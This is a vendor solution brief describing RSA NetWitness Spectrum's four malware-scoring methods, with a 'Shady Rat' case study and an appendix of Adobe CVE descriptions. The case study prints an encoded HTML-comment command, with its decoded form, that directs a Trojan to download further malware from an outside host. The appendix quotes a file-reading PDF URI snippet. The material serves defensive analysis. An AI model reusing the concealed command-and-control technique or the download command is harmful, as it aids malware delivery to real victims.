RSA NetWitness Spectrum
Malware Analysis in the Enterprise Today
In the past ten years, the malware landscape in the modern enterprise
has changed. Previously the realm of jokesters and bored technologists,
malware production has become an illicit money making enterprise for
organized cybercriminals, and a rich source of intelligence gathering
capability for nation-states. Technology advances have also contributed
to the trend by helping facilitate the capabilities of malware producers.
Unfortunately for defenders, information security technology has evolved
along the lines of regulatory requirements, with a focus on “boxchecking”, instead of on the particulars of the organization and the
specific threats that the organization might face. The end result is an
environment in which attackers are outpacing defenders from an
intrusion standpoint. This is accomplished by using processes and
systems that systematically bypass security technologies organizations
have spent millions deploying to “secure” their enterprise.
As this malware landscape has grown, the “malware analyst” role has
moved from antivirus and intrusion detection companies to an in-house
resource at many large organizations. Malware is a constant presence in
any enterprise network and having this resource at the immediate ready
is no longer a nice-to-have but a requirement.
Solution Brief
Today’s malware analyst typically has the following skill set:
–A deep understanding of common network protocols, authentication methods, and host
system internals, often the result of a decade or more of system administration
experience, specific advanced training and education, or incident response experience.
–The ability to quickly and accurately determine the effects of malware execution on a
host, often involving software reverse engineering and behavioral examination of the
local host combined with the associated network activity.
–The ability to communicate findings in a quick and concise manner.
–Knowledge of internet resources and investigation methods in regards to malware
analysis and intelligence.
This complex set of skills is often an expensive commodity, which, coupled with a
shortage of talent, often makes recruiting malware analysts a difficult endeavor. This
realization led to the idea of taking a world-class malware analyst, using the tools and
techniques they might use to investigate an incident, automate it and combine it with
network intelligence from the RSA NetWitness® NextGen® framework. Called “Spectrum”,
this system gives the modern enterprise a full-time “malware analyst in a box”.
a bit on RSA Netwitness Spectrum
RSA NetWitness Spectrum is an analytical workbench and uses a series of analysis
techniques, which mimic the workflow of malware analysts, to gauge the maliciousness
of an executable. Spectrum examines network sessions and scores the likelihood that
these sessions contain malware. It does this by pulling sessions “of interest” from the
NextGen infrastructure and performing analysis on these sessions and the files contained
within them. No agent needs to be installed and the capability takes advantage of the
currently deployed NextGen capture capability. The analysis of these sessions results in
scores, indicating the probability that the session is malicious. Spectrum is extremely
powerful at examining large amounts of sessions/files and thereby enabling security
expertise to be focused on specific sessions most likely to be harmful. From a conceptual
level, Spectrum monitors the packages (files) delivered to your business and helps
determine the probability of harm from those packages. This probability is exposed
through analysis/scoring against the following four distinct methodologies:
“A whopping 99% of all stolen data involved
the use of some form of hacking and malware.
The wise organization will therefore identify its
weaknesses with respect to malware and hacking
threats and prioritize related defenses.”
Verizon 2011 Investigative Response Caseload Review
page 2
1. NextGen Session Analysis
One area of analysis examines attributes surrounding the network session delivering the
file. The basic idea is to identify the suspicious delivery of content and to leverage the
content feeds in RSA NetWitness NextGen.
Was I not expecting a package and someone dropped off an unmarked box in the middle
of the night at my back door?
2. Static File Analysis
Files are analyzed for signs of obfuscation and other indicators to help predict the
likelihood of malicious behavior if a document was to be made active (opened in the
targeted vulnerable application).
Does this package look like it is likely to explode if I open it?
3. Security Community Analysis
The security community is consulted to determine if the session involves a site flagged as
a site known to deliver malware or if the file itself has been flagged.
Is the package from my grandmother (who I trust), or is the package sent to me from the
Unabomber (whom I don’t really trust)?
4. Sandbox Dynamic Behavioral Analysis
Files in the session are dynamically analyzed to monitor their behavior in a controlled
environment in order to watch for malicious behavior.
If I open the package in a blast-proof room, does it explode?
Spectrum displays the scored sessions and files in a tabular format as shown in Figure 1.
The display allows sessions/files to easily be sorted by each score methodology in order
to display which sessions/files are the most likely to be considered malicious.
Figure 1 - Spectrum listing files sorted by
NextGen Score
Spectrum intentionally keeps the four
methodologies separate from one another
and does not try to collapse the analysis into
one overall score. Each score methodology
is legitimate on its own and one method is
sometimes better than the other three methods
to detect a particular piece of malware. As
long as one methodology detects the malware,
Spectrum is successful.
The next section provides an in-depth description for each methodology and discusses
why it’s imperative not to limit insight or visibility to just one.
The Four Disciplines of Spectrum
1. NextGen Session Analysis
Was I not expecting a package and someone dropped off an unmarked box in the middle
of the night at my back door?
Description
The NextGen session is analyzed in an attempt to determine if anything was suspicious in
how the content was delivered. This discipline focuses, not so much on the file itself but
also on how the file traversed the network. Spectrum uses hundreds of data points to
determine the likelihood that a session is suspicious based on attributes such as: page 3
•Was the session abnormally obfuscated (e.g., unusual port/protocol combination,
downloading XOR encoded executable embedded in GIF images)?
•Was the session communicating with a higher risk Top-Level Domain (TLD)?
•Was the session communicating with a higher risk geographical location?
•Was the referring URL for the session invalid?
•Is the session tagged with any content feeds indicating a known malware feed, bad
ORG/ASN, anonymous proxy server, known malware file names?
The result of this analysis is a probability score from 0 – 100 for the NextGen column as
shown in figure 2.
Figure 2 - Probability score for the NextGen
column
Clicking on the NextGen column will display the
underlying reasons justifying the score given to
the session. These “reasons” are listed based
on their level of influence on the score (high
to low indicated by the arrow icon). The most
influential reason driving the overall score of 100
was that the session contained an XOR encoded
executable. Typically, an encoded executable is
an obvious sign of malice.
Drawbacks in NextGen Session Analysis
When is NextGen Session Analysis not optimal?
The more unusual the session, the better the scoring is of the NextGen session. As
described, if communications occur between well-known malicious sites, well-known
malware is downloaded or heavy communication obfuscation is being utilized, the more
powerful the NextGen session analysis becomes and the higher the score.
Now consider an example where two co-workers share a malicious document over email.
The delivery session between the mail server and the receiving user’s machine does not
involve a well-known malicious server. In fact, the opposite is true. The mail server is a
trusted machine to which normal communications occurs. The only interesting attribute in
this session is the document itself. If the document is obfuscated to the point where
NextGen fails to generate alert meta-data, nothing in the session will be of interest to
score. All other attributes of the session are typical of a normal mail session.
In this scenario, the document would be better analyzed via the static scoring analysis
given that it is able to spend the time to perform a deeper decode of the document and a
deeper analysis for malware.
page 4
2. Static File Analysis
Does this package look like it is likely to explode if I open it?
Description
Spectrum’s static analysis of documents attempts to predict the likelihood of malicious
behavior if a document was to be made active (opened in the targeted vulnerable
application). Static analysis looks for techniques that are typically used by malware
writers to actively exploit vulnerabilities. The malware writer expects different techniques,
such as signatures, to be used and will attempt to heavily obfuscate the document in
order to circumvent these techniques. Examples include obfuscation to make the
document less likely to decode successfully, use filter cascades to multiple encode
sections of the document, heavily obfuscate JavaScript through string manipulation (e.g.,
piece together an “eval()” command one byte at a time at runtime), embed Base64encoded shell code in images, among others. Since we cannot always see clearly through
this obfuscation, the scoring of malice is based on finding signs of malicious activity as
well as signs of highly unusual obfuscation. Because Spectrum looks for techniques used
by malware authors rather than specific vulnerabilities or signatures, known and
unknown malware may be found rather than just known malware. In other words, a
malware author is likely to use similar techniques to exploit newly found vulnerabilities.
Static analysis of documents typically involve scanning for items such as:
•Abnormal signs of packing/obfuscation
•Invalid digital signatures (revoked, non-trusted certificate authority, self-signed)
•Heuristic analysis of the compiler and linker artifacts
•Heuristic analysis of artifacts indicating country of origin
•Signs of import libraries/functions typically used maliciously (e.g., to download files, to
create remote threads)
•Signs of shell code to dynamically load libraries via techniques such as API Hashing.
•PDFs/Office documents with embedded EXEs.
•PDFs/Office documents with embedded malicious scripts.
The result of this analysis is a probability score from 0 – 100 for the Static column as
shown in figure 3.
Figure 3. Probability score for the Static column
Clicking on the Static column will display the
underlying reasons justifying the score given to
the session. The influences listed below show
the influences for a malicious PDF document.
Based on the results, the PDF scored high mainly
because the analysis detected heavy levels of
obfuscation (hex-encoded dictionary keys, hexencoded payloads indicative of a layered shell
attack) and suspicious commands (cmd.exe)
being set to automatically run as the document is
viewed. Based on the amount of malice found in
this document, the static score spiked to 100.
page 5
Drawbacks of Static Analysis
When is static file analysis not optimal?
As mentioned, static analysis of a file heavily relies on either interpreting what the file is
likely to do if it is opened/run, or, if obfuscated, assess if the level of obfuscation is
unusual. When dealing with files that are digitally signed and packed/obfuscated with
commercial packers, the file appears to be typical of commercial software release by
legitimate vendors. The more “commercial” a file is made to look, the less likely static
analysis is to detect malice.
In this scenario, the dynamic analysis becomes more important.
3. Security Community Analysis
Is the package from my grandmother (whom I trust), or is the package sent to me from the
Unabomber (who I don’t really trust)?
Description
Spectrum analyzes files and delivery mechanisms based on reaching out to the security
community programmatically to determine what is known about the file, URL and servers
involved in the network session. If the file/server is already known to be bad, then the
community score can reflect this existing knowledge and compensate for any failure in
detection in the other three disciplines.
Security community analysis involves scoring based on attributes such as:
•Does Virus Total Premium detect the file (by MD5/SHA-1 hash) to be known as malware
by any A/V vendors?
•Is the URL blacklisted via URLVoid?
•Does Google report the domain in its safe browsing list?
•Does Bit9 know the file to be good or bad?
•Does NIST NSRL database recognize the file to be commercial software?
The result of this analysis is a probability score from 0 – 100 for the Community column
as shown in figure 4.
Figure 4. Probability score for the Community
column
Clicking on the Community column will display
the underlying reasons justifying the score
given to the session. The influence listed
below indicates that the file being sampled
was recognized by 13 of 16 “primary” vendors
to be known malware. Based on the level of
recognition by well-respected A/V vendors,
the score spikes to 100 to reflect the security
knowledge already in place.
page 6
Drawbacks in Security Community Analysis
When is security community analysis not optimal?
When malware is already known and catalogued by primary A/V vendors (vendors wellrespected in the industry), a high level of confidence is associated with the scoring of the
malware for the community section. However, when dealing with newly released or newly
modified malware (e.g., via toolkits allowing existing malware to be easily customized),
community scoring will not reflect knowledge of this kind of malware. A certain amount of
delay exists between the release of a piece of malware and its detection, recognition and
cataloging in A/V products. Regardless of if this delay is represented in hours, days,
weeks or months, it exists and during that period, security community knowledge is nonexistent. Likewise, community score many malware distributors leverage benign sites for
distribution of malware. In these scenarios, the community score will be zero and the
other three areas become more important in their detection.
4. Sandbox Dynamic Behavioral Analysis
If I open the package in a blast-proof room, does it explode?
Description
Dynamic analysis requires running a sample for a predetermined length of time in a
controlled environment and examining its behavior. If you can run a sample and score
anything that appears abnormal/malicious, you can reasonably determine the probability
that a sample is malicious. Running these samples in a controlled environment typically
involves a sandbox with agents that are capable of reverting back to a known good state
as each sample analysis is completed. This is typically done using products such as
Faronics Deep Freeze, that protect the underlying environment from permanent changes,
or products such as VMware, which virtualize an environment and can roll back to a
snapshot prior to analysis. Furthermore, the sandbox must provide the flexibility to mimic
the systems running in the environment. For example, an analyst isn’t going to be as
concerned about a piece of malware exploiting a vulnerability in Microsoft Office 2003 if
they are running Office 2010.
Once the sandbox has provided an audit trail of the sample’s activity, Spectrum scores
the sample to determine its probability of malice. Scoring dynamic activity utilizes
hundreds of data points in an effort to distinguish normal activity from malicious. This
scoring involves examining the activity for items such as:
–Is software being installed on the computer?
–Is software being installed in unusual locations or using slight variations of existing
program names (e.g., scvhost.exe vs. svchost.exe vs. svchost.dll)?
–Are well-known programs being overwritten (e.g., overlay svchost.exe)?
–Are services being created, stopped, deleted, modified, or started?
–Are any of the auto-start locations being modified? Which ones? How unusual are the
locations (e.g., autoexec.bat vs. HKLM/…/Windows/CurrentVersion/Run)?
–Are there signs of injecting new threads in running processes?
–Are there signs of unusual network activity (e.g., IRC, SMTP, unusual number of
connections)?
–Are there signs of opening new “listening” network ports?
–Is security of the machine being weakened (e.g., firewall disabled, firewall exceptions,
etc)?
page 7
The result of this analysis is a probability score from 0 – 100 for the Sandbox column as
shown in figure 5.
Figure 5. Probability score for the Sandbox
column.
Clicking on the Sandbox column will display
the underlying reasons justifying the score
given to the session. From the list of influences
below, the sample appeared to make unusual
references to existing services on the machine
(Remote Access Connection Manager RASMAN).
The sample also made several outbound network
connections and installed a new program
(winver32.exe) and a new batch file (DelUS.bat).
The new program and batch file were created
in the root folder (very unusual location for
legitimate software). This type of activity was
abnormal enough to force the sandbox score to a
high value (100).
Drawbacks in Dynamic Behavioral Analysis
When is dynamic behavioral analysis not optimal?
In theory, dynamic analysis should be even easier and more accurate than static analysis.
The idea of watching the actual behavior of a sample rather than trying to predict its
behavior seems like a great idea. And when a sample misbehaves, no other technique is
more accurate. The challenge with dynamic analysis is that malware authors can choose
to skew their actions such that their malicious behavior is not clear (e.g., wait an hour,
day, week after being started before executing malicious behavior, require a reboot and
perform most malice after the reboot, detect that it is being monitored and avoid
malicious activity).
When dealing with documents (rather than PEs), the challenge with dynamic analysis is
even greater. The deeper the underlying supporting software stack, the more challenging
it is to provide an environment for the malware to be successful. The issues above still
exist, but now you also have to exactly match the vulnerability being targeted. In other
words, if a PDF has malicious code within it to target vulnerabilities in Adobe Reader
8.1.1 on M/S Windows, then it only has a chance to misbehave if the proper Adobe
Reader version is running in a M/S Windows sandbox agent. If the installed application
version is wrong (not vulnerable), then Spectrum will have a high static score for this
document and a score of zero in the sandbox.
page 8
As a rule of thumb, running older versions of Adobe/MS Office than are currently
deployed in a given enterprise environment will tell the user if a file submission is
malicious. Running the identical version of Adobe/Office deployed in the enterprise
environment will provide Sandbox results indicative of whether or not the environment is
vulnerable to the threat.
An additional challenge in dynamically analyzing documents is presented when the
document requires user interaction. If the user is prompted with a benign looking
prompt, they may be likely to click on it and allow the malware to continue its processing.
In a sandbox environment, the prompt may stall the process and not continue unless the
sandbox agent can automatically respond (in the proper manner) and simulate the
desired user response. Unless this happens, activity sampling may be greatly reduced
such that the true malice is not caught in the dynamic analysis.
Additional Adobe PDF challenges are described in the appendix.
Example of Spectrum’s Analyses in Action
ON APT – Catching Rats, Dragons and Titans
An intrusion set discovered late summer of 2011 named “Shady Rat”, provides a great
example on the utility of Spectrum. This particular discovery documents a string of
intrusions over a multi-year period into a number of companies and organizations, most
of which appears to support U.S. Government interests. RSA believes this to be an APTstyle attack that persists today.
While attribution to a certain far eastern nation-state has been thrown back and forth by
various vendors, rather than focus on “whodunit”, we chose to take a closer look at the
malware itself to see how it looks to Spectrum.
One of the most interesting parts of the work at RSA is tracking bad guys, the tools they
use and how we are best able to detect them in action. It’s a never-ending fight, and one
taken very seriously.
With this in mind, RSA collected a number of malware samples that were believed to be
involved in the “Shady Rat” compromise. As detailed in other blog posts on the Internet,
these specimens use a novel approach to disguise basic command and control traffic.
The basic intrusion sequence occurs in this way:
1.The intruder does research on his target in advance, determining a social engineering
attack vector.
2.The intruder compromises a website on the internet, so that he can change web pages
on the site.
3.The intruder crafts an attack email, using his research to make it believable, and
includes a Trojanized document, typically a PDF or Office document.
4.When the victim opens this document, the exploit code installs a very basic
downloader.
5.This downloader checks into the compromised website, and looks for commands
placed on the compromised website
6.These commands are disguised to look like webpage source code comments, but
encoded so they are illegible to a casual observer.
Here is an example of how this looks in the wild. The compromised website will contain a
comment that looks like:
<!-- ZDpodHRwOi8vd3d3LmJweW95by5jb20vd2Qvc2FtZ3IuZXhl -->
page 9
But when downloaded and decoded by the Trojan, it is actually a command:
<
!-- d:http://www.bpyoyo.com/wd/samgr.exe -->
And in this case, tells the Trojan to download additional malware.
This sequence allows the attacker to get a foothold inside a network, retain it, and
download additional tools, so he can move laterally into other areas inside his target’s
network to locate and exfiltrate data.
As discussed in the NextGen analysis technique, Spectrum is specifically focused on
using the NextGen framework to pull executables off the network and analyze them, but it
also has the capability for an analyst to upload an executable manually for analysis. We
used this technique to feed the Shady Rat samples to Spectrum to see the results.
Shady Rat, Meet Spectrum!
The initial Spectrum analysis involved collecting samples believed to be related to Shady
Rat. Figure 6 shows an overview of the results.
Figure 6. Results of samples related to Shady
Rat.
You see that all samples have scored very
far into the “malicious” rating index. They
stand out strongly as malware. Specifically
the averages are as follows:
Static Analysis – 71
Community Analysis – 100
Sandbox – 86
In this case, we don’t see any NextGen
results because this was a manual upload
as opposed to real-time traffic analysis,
but in the event that this had traversed a
network, there would be additional scores
in the NextGen column.
Looking Closer - Top Influences
During the design of Spectrum, a lot of time was spent profiling malicious and nonmalicious executables to provide insight into characteristics that raise the potential that
an executable is being used maliciously. Figure 7 shows a sample which exhibited
characteristics that were the top contributors to the high “malicious” scores.
Figure 7. Characteristics contributing to high
“malicious” scores
page 10
Synopsis
–The malware had a match by hash on VirusTotal, but only one tier-1 AV vendor and this
alert is very nebulous and generic.
–The malware weakened security on the infected computer according to Spectrum’s
runtime analysis.
–Size characteristics of the binary are in line with those seen in malware.
–The malware contained calls to programming functions that indicate beacon activity.
–When executed in the sandbox, the malware called out to locations on the Internet.
–The malware created an autostart entry in the registry to ensure that it started after a
computer restart and remained resident.
–The malware was stripped of information commonly found in legitimate executables.
Looking Deeper – On Antivirus Detection
In the Security Community analysis technique, all samples had a detection by at least one
antivirus vendor, and most were very well detected.
What’s interesting is who did not detect a subset of samples. See Figure 8 .
Figure 8. Samples left undetected.
This sample had a low detection rate across
the industry, but what is most interesting is
that what we would consider “Tier 1” vendors,
Symantec, Trend and Microsoft, did not detect
this sample.
The Next Step
It was mentioned earlier that Spectrum is deployed as part of the RSA NetWitness
NextGen Infrastructure. The capability doesn’t require agents and can pull directly from
the network capture in place. Key benefits of this include both providing the option to
leverage a current deployment and providing the next step in analysis into an attack.
Having the full set of captured network traffic accessible (both including the specific
session which triggered in Spectrum as well as all captured data around the session),
provides the capability for taking the next step to determine full context around an event.
Not only is an analyst able to determine what happened but also, and sometimes more
importantly, what else happened.
page 11
In Closing
Relying on one detection discipline is prone to failure. The goal with Spectrum is to take
the workflow of an expert malware analyst and automate it in a box. The strength of
Spectrum is in its impartial view of analysis through four independent scoring
methodologies. These independent scores are never forced into an overall score which
could result in one methodology being diluted by the other three. There are too many real
world examples where one methodology is better than the other three for any given
sample being analyzed. No single analysis technique is always better than the other
three. While antivirus will continue to be useful as one line of defense in the defender’s
toolbox, it remains clear that organizations need enhanced and rapid visibility into
today’s attacks that transcend traditional defensive techniques.
page 12
APPENDIX
Currently, Adobe allows a user to download either Adobe Reader 8.3 or Adobe Reader 9.4
(unless you track down a back-dated version from a stale link). Below is a representative
list of attacks that would likely be encountered in PDFs by referencing MITRE’s CVE library
(see table). Using this list and their documented versions of which applications are
vulnerable to each CVE entry, a percentage likelihood was created of seeing activity using
the two currently available Adobe Readers:
– Adobe Reader 8.3 (1/44 = 2.2%)
– Adobe Reader 9.4: (0/44 = 0%)
This is not very scientific, but it gets the point across. In the sandbox, we have to choose
one version of each application, which we think is the most likely to be exploited. We
could try to find Adobe 8.1 and our percentages would go up from the numbers listed.
Regardless of which application versions chosen for the sandbox, there will always be
examples of malware which score high statically and low dynamically. In fact, that is the
strength of RSA’s scoring methodology in Spectrum. For any given sample, one area may
be better than the other three in identifying the malware. RSA doesn’t care which area
finds it as long as one does.
Description
CVE
Adobe Reader and Acrobat Trial allow remote attackers to read arbitrary files via a file:// URI in a PDF
document, as demonstrated with <</URI(file:///C:/)/S/URI>>, a different issue than CVE-2007-0045.
CVE-2007-1199
Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and earlier allow remote attackers to
execute arbitrary code via a PDF file with long arguments to unspecified JavaScript methods. NOTE: this
issue might be subsumed by CVE-2008-0655.
CVE-2007-5659
Adobe Reader and Acrobat 8.1.1 and earlier allows remote attackers to execute arbitrary code via a
crafted PDF file that calls an insecure JavaScript method in the EScript.api plug-in. NOTE: this issue might
be subsumed by CVE-2008-0655.
CVE-2007-5663
Untrusted search path vulnerability in Adobe Reader and Acrobat 8.1.1 and earlier allows local users to
execute arbitrary code via a malicious Security Provider library in the reader’s current working directory.
NOTE: this issue might be subsumed by CVE-2008-0655
CVE-2007-5666
Multiple unspecified vulnerabilities in Adobe Reader and Acrobat before 8.1.2 have unknown impact and
attack vectors.
CVE-2008-0655
The DOC.print function in the Adobe JavaScript API, as used by Adobe Acrobat and Reader before 8.1.2,
CVE-2008-0667
allows remote attackers to configure silent non-interactive printing, and trigger the printing of an arbitrary
number of copies of a document. NOTE: this issue might be subsumed by CVE-2008-0655
Integer overflow in Adobe Reader and Acrobat 8.1.1 and earlier allows remote attackers to execute
arbitrary code via crafted arguments to the printSepsWithParams, which triggers memory corruption.
CVE-2008-0726
Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to
execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format
string argument, a related issue to CVE-2008-1104.
CVE-2008-2992
Buffer overflow in Adobe Reader 9.0 and earlier, and Acrobat 9.0 and earlier, allows remote attackers to
execute arbitrary code via a crafted PDF document, related to a non-JavaScript function call and possibly
an embedded JBIG2 image stream, as exploited in the wild in February 2009 by Trojan.Pidief.E.
CVE-2009-0658
page 13
Description
CVE
Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8 before 8.1.3 , and 7
before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon
method of a Collab object, a different vulnerability than CVE-2009-0658.
CVE-2009-0927
Unspecified vulnerability in Adobe Reader and Acrobat 9.x through 9.1.2, and Adobe Flash Player 9.x
through 9.0.159.0 and 10.x through 10.0.22.87, allows remote attackers to execute arbitrary code or
cause a denial of service (memory corruption) via (1) a crafted Flash application in a .pdf file or (2) a
crafted .swf file, related to authplay.dll, as exploited in the wild in July 2009.
CVE-2009-1862
Unspecified vulnerability in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe
AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute
arbitrary code via unknown vectors, related to a “privilege escalation vulnerability.”
CVE-2009-1863
Heap-based buffer overflow in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and
Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly
execute arbitrary code via unspecified vectors.
CVE-2009-1864
Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows
attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors, related to a “null pointer vulnerability.”
CVE-2009-1865
Stack-based buffer overflow in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and
Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly
execute arbitrary code via unspecified vectors.
CVE-2009-1866
Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows
attackers to trick a user into (1) selecting a link or (2) completing a dialog, related to a “clickjacking
vulnerability.”
CVE-2009-1867
Heap-based buffer overflow in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and
Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly
execute arbitrary code via unspecified vectors involving URL parsing.
CVE-2009-1868
Integer overflow in the ActionScript Virtual Machine 2 (AVM2) abcFile parser in Adobe Flash Player before
9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of
service (application crash) or possibly execute arbitrary code via an AVM2 file with a large intrf_count
value that triggers a dereference of an out-of-bounds pointer.
CVE-2009-1869
Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows
attackers to obtain sensitive information via vectors involving saving an SWF file to a hard drive, related
to a “local sandbox vulnerability.”
CVE-2009-1870
Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, might allow
attackers to cause a denial of service (NULL pointer dereference) via unspecified vectors
CVE-2009-3957
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and
Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute
arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December
2009.
CVE-2009-4324
Unspecified vulnerability in Adobe Reader and Acrobat 8.x before 8.2.1 and 9.x before 9.3.1 allows
attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unknown
vectors.
CVE-2010-0188
Adobe Flash Player before 9.0.277.0 and 10.x before 10.1.53.64; Adobe AIR before 2.0.2.12610; and
Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, allow
remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted
SWF content, related to authplay.dll and the ActionScript Virtual Machine 2 (AVM2) newfunction instruction, as exploited in the wild in June 2010.
CVE-2010-1297
page 14
Description
CVE
Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before
8.2.5 on Windows and Mac OSX, allows remote attackers to execute arbitrary code or cause a denial of
service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING)
table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained
from third party information.
CVE-2010-2883
Adobe Flash Player 10.1.82.76 and earlier on Windows, Mac OS X, Linux, and Solaris and 10.1.92.10 on
Android; authplay.dll in Adobe Reader and Acrobat 9.x before 9.4; and authplay.dll in Adobe Reader and
Acrobat 8.x before 8.2.5 on Windows and Mac OS X allow remote attackers to execute arbitrary code or
cause a denial of service (memory corruption) via unspecified vectors, as exploited in the wild in
September 2010.
CVE-2010-2884
Multiple unspecified vulnerabilities in Adobe Reader and Acrobat 9.x before 9.4 on Linux allow attackers
to gain privileges via unknown vectors.
CVE-2010-2887
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to execute arbitrary code via a crafted font, a different vulnerability than
CVE-2010-3626.
CVE-2010-2889
CVE-2010-2890
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-3619, CVE-2010-3621, CVE-2010-3622, CVE-2010-3628,
CVE-2010-3632, and CVE-2010-3658
CVE-2010-3619
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3621, CVE-2010-3622, CVE-2010-3628,
CVE-2010-3632, and CVE-2010-3658.
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
CVE-2010-3620
and Mac OS X, allows attackers to execute arbitrary code via a crafted image, a different vulnerability than
CVE-2010-3629.
CVE-2010-3621
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3622, CVE-2010-3628,
CVE-2010-3632, and CVE-2010-3658
CVE-2010-3622
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3628,
CVE-2010-3632, and CVE-2010-3658
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code via unspecified vectors, related to a “prefix protocol handler
vulnerability.”
CVE-2010-3625
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to execute arbitrary code via a crafted font, a different vulnerability than
CVE-2010-2889
CVE-2010-3626
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to execute arbitrary code via unknown vectors
CVE-2010-3627
CVE-2010-3628
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3622,
CVE-2010-3632, and CVE-2010-3658
CVE-2010-3629
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to execute arbitrary code via a crafted image, a different vulnerability than
CVE-2010-3620.
page 15
Description
CVE
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to cause a denial of service or possibly execute arbitrary code via
unknown vectors.
CVE-2010-3630
CVE-2010-3632
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3622,
CVE-2010-3628, and CVE-2010-3658
Adobe Flash Player before 9.0.289.0 and 10.x before 10.1.102.64 on Windows, Mac OS X, Linux, and
Solaris and 10.1.95.1 on Android, and authplay.dll (aka AuthPlayLib.bundle or libauthplay.so.0.0.0) in
Adobe Reader and Acrobat 9.x through 9.4, allows remote attackers to execute arbitrary code or cause a
denial of service (memory corruption and application crash) via crafted SWF content, as exploited in the
wild in October 2010
CVE-2010-3654
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to cause a denial of service via unknown vectors, a different vulnerability
than CVE-2010-3657.
CVE-2010-3656
Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows
and Mac OS X, allows attackers to cause a denial of service via unknown vectors, a different vulnerability
than CVE-2010-3656
CVE-2010-3657
CVE-2010-3658
Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow
attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified
vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3622,
CVE-2010-3628, and CVE-2010-3632
The EScript.api plugin in Adobe Reader and Acrobat 10.x before 10.0.1, 9.x before 9.4.1, and 8.x before
8.2.6 on Windows and Mac OS X allows remote attackers to execute arbitrary code or cause a denial of
service (application crash) via a crafted PDF document that triggers memory corruption, involving the
printSeps function. NOTE: some of these details are obtained from third party information
CVE-2010-4091
About RSA
RSA, The Security Division of EMC, is the premier provider of security, risk and
compliance management solutions for business acceleration. RSA helps
organizations solve their most complex and sensitive security challenges by bringing
visibility and trust to millions of user identities, the transactions they perform and
the data that is generated. RSA delivers identity assurance, encryption & key
management, SIEM, Data Loss Prevention, Continuous Network Monitoring, and
